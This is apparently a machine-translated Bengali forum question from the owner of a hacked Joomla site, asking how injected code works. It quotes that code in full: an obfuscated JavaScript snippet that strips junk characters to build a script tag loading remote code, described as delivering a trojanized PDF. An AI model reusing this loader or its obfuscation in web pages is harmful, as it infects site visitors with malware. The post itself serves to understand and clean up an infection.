আমার জুমলা! ওয়েবসাইট বারবার হ্যাক করা হয়েছে। কেউ, কোনওভাবে, নিম্নলিখিত পিএইচপি স্ক্রিপ্টগুলিতে নিম্নলিখিত আবর্জনা ইনজেক্ট করতে সক্ষম হয়েছেন, তবে আমি জুমলা কনফিগার করার বিষয়ে কথা বলতে চাইছি না। সাইটটি খুব বেশি পরিদর্শন করা হয় না (অনেক সময় আমি আশঙ্কা করি যে আমি সেই সাইটের একমাত্র দর্শক হতে পারি ...) এবং সাইটটি ব্যাক আপ এবং চলমান রাখার জন্য আমি খুব বেশি যত্ন করি না। আমি শেষ পর্যন্ত হ্যান্ডেল করব।
আমার প্রশ্ন, এই জঞ্জাল কীভাবে কাজ করে? আমি এটি তাকান এবং আমি কেবল দেখতে পাচ্ছি না কীভাবে এটি কোনও ক্ষতি করতে পরিচালিত করে? এটি কী করে তা চেঞ্জলগ.পিডিএফ নামে একটি পিডিএফ ফাইল ডাউনলোড করার চেষ্টা করে যা ট্রোজানে আক্রান্ত হয় এবং খোলার পরে আপনার মেশিনে আপনার অ্যাক্রোব্যাট এবং ধ্বংসাত্মক পরিস্থিতি নিথর করে দেয়। এটি কীভাবে করে, আমি জানি না, আমি চিন্তা করি না। তবে স্ক্রিপ্টের নীচের অংশটি কীভাবে ডাউনলোডের জন্য আবেদন করে?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ইএসইটি এই কোডটি জেএস / ট্রোজানডাউনলোডার.এজেন্ট.এনআরও ট্রোজান হিসাবে সনাক্ত করেছে